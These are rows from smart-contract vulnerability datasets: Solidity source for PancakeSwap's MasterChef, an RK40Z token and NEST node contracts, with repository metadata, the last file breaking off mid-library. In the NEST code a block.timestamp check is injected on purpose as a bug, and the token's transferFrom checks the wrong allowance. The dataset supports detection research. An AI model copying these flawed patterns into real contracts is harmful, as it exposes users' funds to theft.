staking-contracts/PancakeSwap_MasterChef.sol
| 3,317 | 12,061 |
pragma solidity 0.6.12;
// MasterChef is the master of Cake. He can make Cake and he is a fair guy.
//
// Note that it's ownable and the owner wields tremendous power. The ownership
// will be transferred to a governance smart contract once CAKE is sufficiently
// distributed and the community can show to govern itself.
//
// Have fun reading it. Hopefully it's bug-free. God bless.
contract MasterChef is Ownable {
using SafeMath for uint256;
using SafeBEP20 for IBEP20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of CAKEs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accCakePerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accCakePerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IBEP20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. CAKEs to distribute per block.
uint256 lastRewardBlock; // Last block number that CAKEs distribution occurs.
uint256 accCakePerShare; // Accumulated CAKEs per share, times 1e12. See below.
}
// The CAKE TOKEN!
CakeToken public cake;
// The SYRUP TOKEN!
SyrupBar public syrup;
// Dev address.
address public devaddr;
// CAKE tokens created per block.
uint256 public cakePerBlock;
// Bonus muliplier for early cake makers.
uint256 public BONUS_MULTIPLIER = 1;
// The migrator contract. It has a lot of power. Can only be set through governance (owner).
IMigratorChef public migrator;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when CAKE mining starts.
uint256 public startBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(CakeToken _cake,
SyrupBar _syrup,
address _devaddr,
uint256 _cakePerBlock,
uint256 _startBlock) public {
cake = _cake;
syrup = _syrup;
devaddr = _devaddr;
cakePerBlock = _cakePerBlock;
startBlock = _startBlock;
// staking pool
poolInfo.push(PoolInfo({
lpToken: _cake,
allocPoint: 1000,
lastRewardBlock: startBlock,
accCakePerShare: 0
}));
totalAllocPoint = 1000;
}
function updateMultiplier(uint256 multiplierNumber) public onlyOwner {
BONUS_MULTIPLIER = multiplierNumber;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, IBEP20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accCakePerShare: 0
}));
updateStakingPool();
}
// Update the given pool's CAKE allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
uint256 prevAllocPoint = poolInfo[_pid].allocPoint;
poolInfo[_pid].allocPoint = _allocPoint;
if (prevAllocPoint != _allocPoint) {
updateStakingPool();
}
}
function updateStakingPool() internal {
uint256 length = poolInfo.length;
uint256 points = 0;
for (uint256 pid = 1; pid < length; ++pid) {
points = points.add(poolInfo[pid].allocPoint);
}
if (points != 0) {
points = points.div(3);
totalAllocPoint = totalAllocPoint.sub(poolInfo[0].allocPoint).add(points);
poolInfo[0].allocPoint = points;
}
}
// Set the migrator contract. Can only be called by the owner.
function setMigrator(IMigratorChef _migrator) public onlyOwner {
migrator = _migrator;
}
function migrate(uint256 _pid) public {
require(address(migrator) != address(0), "migrate: no migrator");
PoolInfo storage pool = poolInfo[_pid];
IBEP20 lpToken = pool.lpToken;
uint256 bal = lpToken.balanceOf(address(this));
lpToken.safeApprove(address(migrator), bal);
IBEP20 newLpToken = migrator.migrate(lpToken);
require(bal == newLpToken.balanceOf(address(this)), "migrate: bad");
pool.lpToken = newLpToken;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
}
// View function to see pending CAKEs on frontend.
function pendingCake(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accCakePerShare = pool.accCakePerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 cakeReward = multiplier.mul(cakePerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accCakePerShare = accCakePerShare.add(cakeReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accCakePerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 cakeReward = multiplier.mul(cakePerBlock).mul(pool.allocPoint).div(totalAllocPoint);
cake.mint(devaddr, cakeReward.div(10));
cake.mint(address(syrup), cakeReward);
pool.accCakePerShare = pool.accCakePerShare.add(cakeReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to MasterChef for CAKE allocation.
function deposit(uint256 _pid, uint256 _amount) public {
require (_pid != 0, 'deposit CAKE by staking');
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accCakePerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeCakeTransfer(msg.sender, pending);
}
}
if (_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accCakePerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid, uint256 _amount) public {
require (_pid != 0, 'withdraw CAKE by unstaking');
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accCakePerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeCakeTransfer(msg.sender, pending);
}
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accCakePerShare).div(1e12);
emit Withdraw(msg.sender, _pid, _amount);
}
// Stake CAKE tokens to MasterChef
function enterStaking(uint256 _amount) public {
PoolInfo storage pool = poolInfo[0];
UserInfo storage user = userInfo[0][msg.sender];
updatePool(0);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accCakePerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeCakeTransfer(msg.sender, pending);
}
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accCakePerShare).div(1e12);
syrup.mint(msg.sender, _amount);
emit Deposit(msg.sender, 0, _amount);
}
// Withdraw CAKE tokens from STAKING.
function leaveStaking(uint256 _amount) public {
PoolInfo storage pool = poolInfo[0];
UserInfo storage user = userInfo[0][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(0);
uint256 pending = user.amount.mul(pool.accCakePerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeCakeTransfer(msg.sender, pending);
}
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accCakePerShare).div(1e12);
syrup.burn(msg.sender, _amount);
emit Withdraw(msg.sender, 0, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe cake transfer function, just in case if rounding error causes pool to not have enough CAKEs.
function safeCakeTransfer(address _to, uint256 _amount) internal {
syrup.safeCakeTransfer(_to, _amount);
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
}
| 337,787 | 146 |
d04c956f609fae044f37b66497cae88c55e94deef9f3194e732a66f96dc213bb
| 10,767 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xb074736e2aa30e9fd416190bd3b08206be1fccc0.sol
| 2,690 | 10,555 |
pragma solidity ^0.4.21;
/// RK35Z token ERC20 with Extensions ERC223
contract RK40Z {
uint256 constant public MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public owner;
bool public SC_locked = true;
bool public tokenCreated = false;
uint public DateCreateToken;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
mapping(address => bool) public frozenAccount;
mapping(address => bool) public SmartContract_Allowed;
// ERC20 Event
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Transfer(address indexed from, address indexed to, uint256 value, bytes indexed data);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event FrozenFunds(address target, bool frozen);
event Burn(address indexed from, uint256 value);
// Initialize
// Constructor is called only once and can not be called again (Ethereum Solidity specification)
function RK40Z() public {
// Security check in case EVM has future flaw or exploit to call constructor multiple times
require(tokenCreated == false);
owner = msg.sender;
name = "RK40Z";
symbol = "RK40Z";
decimals = 5;
totalSupply = 500000000 * 10 ** uint256(decimals);
balances[owner] = totalSupply;
emit Transfer(owner, owner, totalSupply);
tokenCreated = true;
// Final sanity check to ensure owner balance is greater than zero
require(balances[owner] > 0);
// Date Deploy Contract
DateCreateToken = now;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// Function to create date token.
function DateCreateToken() public view returns (uint256 _DateCreateToken) {
return DateCreateToken;
}
// Function to access name of token .
function name() view public returns (string _name) {
return name;
}
// Function to access symbol of token .
function symbol() public view returns (string _symbol) {
return symbol;
}
// Function to access decimals of token .
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
// Get balance of the address provided
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
// Get Smart Contract of the address approved
function SmartContract_Allowed(address _target) constant public returns (bool _sc_address_allowed) {
return SmartContract_Allowed[_target];
}
function safeAdd(uint256 x, uint256 y) pure internal returns (uint256 z) {
if (x > MAX_UINT256 - y) revert();
return x + y;
}
function safeSub(uint256 x, uint256 y) pure internal returns (uint256 z) {
if (x < y) revert();
return x - y;
}
function safeMul(uint256 x, uint256 y) pure internal returns (uint256 z) {
if (y == 0) return 0;
if (x > MAX_UINT256 / y) revert();
return x * y;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint256 _value, bytes _data) public returns (bool success) {
// Only allow transfer once Locked
// Once it is Locked, it is Locked forever and no one can lock again
require(!SC_locked);
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint256 _value) public returns (bool success) {
// Only allow transfer once Locked
require(!SC_locked);
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_to]);
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint256 _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint256 _value, bytes _data) private returns (bool success) {
require(SmartContract_Allowed[_to]);
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
// Allow transfers if the owner provided an allowance
// Use SafeMath for the main logic
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
// Only allow transfer once Locked
// Once it is Locked, it is Locked forever and no one can lock again
require(!SC_locked);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
// Protect against wrapping uints.
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]);
uint256 allowance = allowed[_from][owner];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
balances[_from] = safeSub(balanceOf(_from), _value);
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
// Only allow transfer once unLocked
require(!SC_locked);
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_spender]);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/// Set allowance for other address and notify
function approveAndCall(address _spender, uint256 _value) public returns (bool success) {
require(!SC_locked);
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_spender]);
if (approve(_spender, _value)) {
return true;
}
}
/// Function to activate Ether reception in the smart Contract address only by the Owner
function () public payable {
if(msg.sender != owner) { revert(); }
}
// Creator/Owner can Locked/Unlock smart contract
function OWN_ChangeState_locked(bool _locked) onlyOwner public {
SC_locked = _locked;
}
/// Destroy tokens amount (Caution!!! the operation is destructive and you can not go back)
function OWN_burn(uint256 _value) onlyOwner public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function OWN_burnAddress(address _from, uint256 _value) onlyOwner public returns (bool success) {
require(balances[_from] >= _value);
require(_value <= allowed[_from][owner]);
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
///Generate other tokens after starting the program
function OWN_mintToken(uint256 mintedAmount) onlyOwner public {
//aggiungo i decimali al valore che imposto
balances[owner] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(0, this, mintedAmount);
emit Transfer(this, owner, mintedAmount);
}
/// Block / Unlock address handling tokens
function OWN_freezeAddress(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// Function to destroy the smart contract
function OWN_kill() onlyOwner public {
selfdestruct(owner);
}
/// Function Change Owner
function OWN_transferOwnership(address newOwner) onlyOwner public {
// function allowed only if the address is not smart contract
if (!isContract(newOwner)) {
owner = newOwner;
}
}
/// Smart Contract approved
function OWN_SmartContract_Allowed(address target, bool _allowed) onlyOwner public {
// function allowed only for smart contract
if (isContract(target)) {
SmartContract_Allowed[target] = _allowed;
}
}
/// Distribution Token from Admin
function OWN_DistributeTokenAdmin_Multi(address[] addresses, uint256 _value, bool freeze) onlyOwner public{
for (uint i = 0; i < addresses.length; i++) {
//Block / Unlock address handling tokens
frozenAccount[addresses[i]] = freeze;
emit FrozenFunds(addresses[i], freeze);
bytes memory empty;
if (isContract(addresses[i])) {
transferToContract(addresses[i], _value, empty);
}
else {
transferToAddress(addresses[i], _value, empty);
}
}
}
}
| 207,727 | 147 |
b0a9ce66708f4611604b601070734a54ed616ba2fb2523ca1e4b9968c966465e
| 19,431 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/contractAffectedByMiners/0x472c31697633daCd24C4674b4571d4A393d54870_affectedByMiners.sol
| 3,459 | 13,318 |
pragma solidity ^0.5.10;
contract NEST_NodeSave {
IBMapping mappingContract;
IBNEST nestContract;
constructor (address map) public {
mappingContract = IBMapping(address(map));
nestContract = IBNEST(address(mappingContract.checkAddress("nest")));
}
function changeMapping(address map) public onlyOwner {
mappingContract = IBMapping(address(map));
nestContract = IBNEST(address(mappingContract.checkAddress("nest")));
}
function turnOut(uint256 amount, address to) public onlyMiningCalculation returns(uint256) {
uint256 leftNum = nestContract.balanceOf(address(this));
if (block.timestamp >= amount) { //injected CONTRACT AFFECTED BY MINERS
nestContract.transfer(to, amount);
return amount;
} else {
return 0;
}
}
modifier onlyOwner(){
require(mappingContract.checkOwners(msg.sender) == true);
_;
}
modifier onlyMiningCalculation(){
require(address(mappingContract.checkAddress("nodeAssignment")) == msg.sender);
_;
}
}
contract NEST_NodeAssignmentData {
using SafeMath for uint256;
IBMapping mappingContract;
uint256 nodeAllAmount = 0;
mapping(address => uint256) nodeLatestAmount;
constructor (address map) public {
mappingContract = IBMapping(map);
}
function changeMapping(address map) public onlyOwner{
mappingContract = IBMapping(map);
}
// Add nest
function addNest(uint256 amount) public onlyNodeAssignment {
nodeAllAmount = nodeAllAmount.add(amount);
}
// View cumulative total
function checkNodeAllAmount() public view returns (uint256) {
return nodeAllAmount;
}
// Record last received quantity
function addNodeLatestAmount(address add ,uint256 amount) public onlyNodeAssignment {
nodeLatestAmount[add] = amount;
}
// View last received quantity
function checkNodeLatestAmount(address add) public view returns (uint256) {
return nodeLatestAmount[address(add)];
}
modifier onlyOwner(){
require(mappingContract.checkOwners(msg.sender) == true);
_;
}
modifier onlyNodeAssignment(){
require(address(msg.sender) == address(mappingContract.checkAddress("nodeAssignment")));
_;
}
}
contract NEST_NodeAssignment {
using SafeMath for uint256;
IBMapping mappingContract;
IBNEST nestContract;
SuperMan supermanContract;
NEST_NodeSave nodeSave;
NEST_NodeAssignmentData nodeAssignmentData;
constructor (address map) public {
mappingContract = IBMapping(map);
nestContract = IBNEST(address(mappingContract.checkAddress("nest")));
supermanContract = SuperMan(address(mappingContract.checkAddress("nestNode")));
nodeSave = NEST_NodeSave(address(mappingContract.checkAddress("nestNodeSave")));
nodeAssignmentData = NEST_NodeAssignmentData(address(mappingContract.checkAddress("nodeAssignmentData")));
}
function changeMapping(address map) public onlyOwner{
mappingContract = IBMapping(map);
nestContract = IBNEST(address(mappingContract.checkAddress("nest")));
supermanContract = SuperMan(address(mappingContract.checkAddress("nestNode")));
nodeSave = NEST_NodeSave(address(mappingContract.checkAddress("nestNodeSave")));
nodeAssignmentData = NEST_NodeAssignmentData(address(mappingContract.checkAddress("nodeAssignmentData")));
}
function bookKeeping(uint256 amount) public {
require(amount > 0);
require(nestContract.balanceOf(address(msg.sender)) >= amount);
require(nestContract.allowance(address(msg.sender), address(this)) >= amount);
require(nestContract.transferFrom(address(msg.sender), address(nodeSave), amount));
nodeAssignmentData.addNest(amount);
}
function nodeGet() public {
require(address(msg.sender) == address(tx.origin));
require(supermanContract.balanceOf(address(msg.sender)) > 0);
uint256 allAmount = nodeAssignmentData.checkNodeAllAmount();
uint256 amount = allAmount.sub(nodeAssignmentData.checkNodeLatestAmount(address(msg.sender)));
uint256 getAmount = amount.mul(supermanContract.balanceOf(address(msg.sender))).div(1500);
require(nestContract.balanceOf(address(nodeSave)) >= getAmount);
nodeSave.turnOut(getAmount,address(msg.sender));
nodeAssignmentData.addNodeLatestAmount(address(msg.sender),allAmount);
}
function nodeCount(address fromAdd, address toAdd) public {
require(address(supermanContract) == address(msg.sender));
require(supermanContract.balanceOf(address(fromAdd)) > 0);
uint256 allAmount = nodeAssignmentData.checkNodeAllAmount();
uint256 amountFrom = allAmount.sub(nodeAssignmentData.checkNodeLatestAmount(address(fromAdd)));
uint256 getAmountFrom = amountFrom.mul(supermanContract.balanceOf(address(fromAdd))).div(1500);
require(nestContract.balanceOf(address(nodeSave)) >= getAmountFrom);
nodeSave.turnOut(getAmountFrom,address(fromAdd));
nodeAssignmentData.addNodeLatestAmount(address(fromAdd),allAmount);
uint256 amountTo = allAmount.sub(nodeAssignmentData.checkNodeLatestAmount(address(toAdd)));
uint256 getAmountTo = amountTo.mul(supermanContract.balanceOf(address(toAdd))).div(1500);
require(nestContract.balanceOf(address(nodeSave)) >= getAmountTo);
nodeSave.turnOut(getAmountTo,address(toAdd));
nodeAssignmentData.addNodeLatestAmount(address(toAdd),allAmount);
}
// Amount available to the guardian node
function checkNodeNum() public view returns (uint256) {
uint256 allAmount = nodeAssignmentData.checkNodeAllAmount();
uint256 amount = allAmount.sub(nodeAssignmentData.checkNodeLatestAmount(address(msg.sender)));
uint256 getAmount = amount.mul(supermanContract.balanceOf(address(msg.sender))).div(1500);
return getAmount;
}
modifier onlyOwner(){
require(mappingContract.checkOwners(msg.sender) == true);
_;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SuperMan is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
IBMapping mappingContract; //1111
uint256 private _totalSupply = 1500;
string public name = "NestNode";
string public symbol = "NN";
uint8 public decimals = 0;
constructor (address map) public {
_balances[msg.sender] = _totalSupply;
mappingContract = IBMapping(map);
}
function changeMapping(address map) public onlyOwner{
mappingContract = IBMapping(map);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
NEST_NodeAssignment nodeAssignment = NEST_NodeAssignment(address(mappingContract.checkAddress("nodeAssignment")));
nodeAssignment.nodeCount(from, to);
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
modifier onlyOwner(){
require(mappingContract.checkOwners(msg.sender) == true);
_;
}
}
library SafeMath {
int256 constant private INT256_MIN = -2**255;
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below
int256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0); // Solidity only automatically asserts when dividing by 0
require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow
int256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract IBMapping {
function checkAddress(string memory name) public view returns (address contractAddress);
function checkOwners(address man) public view returns (bool);
}
contract IBNEST {
function totalSupply() public view returns (uint supply);
function balanceOf(address who) public view returns (uint value);
function allowance(address owner, address spender) public view returns (uint _allowance);
function transfer(address to, uint256 value) external;
function transferFrom(address from, address to, uint value) public returns (bool ok);
function approve(address spender, uint value) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
function balancesStart() public view returns(uint256);
function balancesGetBool(uint256 num) public view returns(bool);
function balancesGetNext(uint256 num) public view returns(uint256);
function balancesGetValue(uint256 num) public view returns(address, uint256);
}
| 280,794 | 148 |
13ca2e0b860a10c99b9a46ab16cbebedfc976f5ce206b4819d395c8d22a4947f
| 29,101 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/8e/8e2d940114f4882acc139a84362a45c5ca4b6a0d_RegistryAccessControl.sol
| 3,631 | 15,156 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// File: Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return
functionCallWithValue(target,
data,
value,
"Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value,
"Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) =
target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: Context.sol
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
// File: EnumerableSet.sol
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
